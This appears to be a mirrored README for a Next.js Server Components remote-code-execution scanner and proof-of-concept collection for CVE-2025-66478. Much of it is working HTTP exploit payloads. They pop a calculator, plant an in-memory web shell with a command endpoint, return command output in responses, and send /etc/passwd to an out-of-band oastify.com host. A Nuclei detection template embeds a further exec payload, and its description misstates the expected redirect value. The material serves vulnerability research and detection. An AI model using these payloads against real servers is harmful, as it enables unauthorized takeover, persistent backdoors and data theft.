# Next.js-RSC-RCE-Scanner-CVE-2025-66478 **Repository Path**: budongde950/Next.js-RSC-RCE-Scanner-CVE-2025-66478 ## Basic Information - **Project Name**: Next.js-RSC-RCE-Scanner-CVE-2025-66478 - **Description**: No description available - **Primary Language**: Unknown - **License**: Not specified - **Default Branch**: main - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2025-12-09 - **Last Updated**: 2025-12-09 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # Next.js RSC RCE Scanner and POC/Exploit Collection (CVE-2025-66478) A command-line scanner for batch detection of Next.js application versions and determining if they are affected by CVE-2025-66478 vulnerability. **This Scanner do not exploit the vulnerability** ## Vulnerability Description https://nextjs.org/blog/CVE-2025-66478 ![](usage_example.png) ## Installation ### Prerequisites - Go 1.19 or higher - Chrome/Chromium browser (go-rod will download automatically) ```bash git clone https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478 ``` ### Build ```bash cd Next.js-RSC-RCE-Scanner-CVE-2025-66478 go build -o nextjs-rce-scanner # Windows Build go build -o nextjs-rce-scanner.exe ``` ## Usage ```bash # High concurrency scan (10 concurrent) ./nextjs-rce-scanner -file urls.txt -c 10 # GUI mode (for debugging): ./nextjs-rce-scanner -urls "https://example.com" -headless=false # Custom timeout ./nextjs-rce-scanner -file urls.txt -timeout 60 # Filter and scan specific URLs cat urls.txt | grep ".com" | ./nextjs-rce-scanner # Combine with other Unix tools cat urls.txt | head -10 | ./nextjs-rce-scanner -c 3 ``` ## How It Works 1. Uses go-rod to launch Chrome browser 2. Creates Page Pool to manage concurrency 3. Visits target URL and waits for page load 4. Executes JavaScript `window.next.version` to get version information 5. Parses version number and determines based on vulnerability scope 6. Outputs scan results ## Setting Up Vulnerable Environment ### Install Vulnerable Version Using `create-next-app` ```bash npx create-next-app@16.0.6 my-cve-2025-66478-app cd my-cve-2025-66478-app # Start the application npm run dev ``` # Pop Calculator ![](exploit_demo.png)
Click to expand payload ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 578 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('open -a Calculator');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ```
# 🚨 Runtime Memory Shell 🚨 ![](runtime_shell.png) ## setup memshell at first
Click to expand payload ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 1176 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const o=http.Server.prototype.emit;http.Server.prototype.emit=function(e,...a){if(e==='request'){const[r,s]=a;const p=url.parse(r.url,true);if(p.pathname==='/exec'){const cmd=p.query.cmd;if(!cmd){s.writeHead(400);s.end('cmd parameter required');return true;}try{s.writeHead(200,{'Content-Type':'application/json'});s.end(cp.execSync(cmd,{encoding:'utf8',stdio:'pipe'}));}catch(e){s.writeHead(500);s.end('Error: '+e.message);}return true;}}return o.apply(this,arguments);};})();", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ```
## then request to the memshell endpoint to execute a command ``` curl "http://localhost:3000/exec?cmd=ls+-l" ``` # Payload That Can See Command Execution Result In Response Body (Most Useful) ![](result_in_response_body.png)
Click to expand payload ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 740 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ```
# payload that can see command execution result in response header ![](execution_response.png)
Click to expand payload ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Accept-Encoding: gzip, deflate, br Accept: */* Connection: keep-alive Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Length: 689 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ```
# OAST/DNSlog Payload ⚠️⚠️⚠️ **replace `an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com` to your own OAST/dnslog domain** ## make http request ```json {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').get('https://an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com/test');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ``` ## send `/etc/passwd` ```json {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('https').request({hostname:'an1cuzsce8cmffflh8grs1u5uw0nodc2.oastify.com',path:'/test',method:'POST'}).end(process.mainModule.require('fs').readFileSync('/etc/passwd'));","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ``` ![](oast_response.png) > initial exploit credit: https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3 # Nuclei Scan Template ![](nuclei_template.png) Save the template code below to `react2shell.yaml`, then run Nuclei. ``` nuclei -silent -u http://localhost:3000 -t react2shell.yaml ```
Click to expand nuclei template > credit: @Behi_Sec ⚠️ this nuclei template only detects vulnerable servers running on Unix-based systems ```yaml id: cve-2025-55182-react2shell info: name: Next.js/React Server Components RCE (React2Shell) author: assetnote severity: critical description: | Detects CVE-2025-55182 and CVE-2025-66478, a Remote Code Execution vulnerability in Next.js applications using React Server Components. It attempts to execute 'echo $((1337*10001))' on the server. If successful, the server returns a redirect to '/login?a=11111'. reference: - https://github.com/assetnote/react2shell-scanner - https://slcyber.io/research-center/high-fidelity-detection-mechanism-for-rsc-next-js-rce-cve-2025-55182-cve-2025-66478 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: - CVE-2025-55182 - CVE-2025-66478 tags: cve, cve2025, nextjs, rce, react http: - raw: - | POST / HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" {"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('echo $((1337*10001))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}} ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- matchers-condition: and matchers: - type: word part: header words: - "/login?a=13371337" - "X-Action-Redirect" condition: and ```
# Next.js RSC Detection Tips You can determine if NextJS's vulnerable RSC functionality exists based on the Vary field of the HTTP Response Header. image ## License MIT License ## Disclaimer This tool is for security research and authorized testing only. Using this tool to scan unauthorized targets may violate relevant laws and regulations. Users are responsible for any consequences.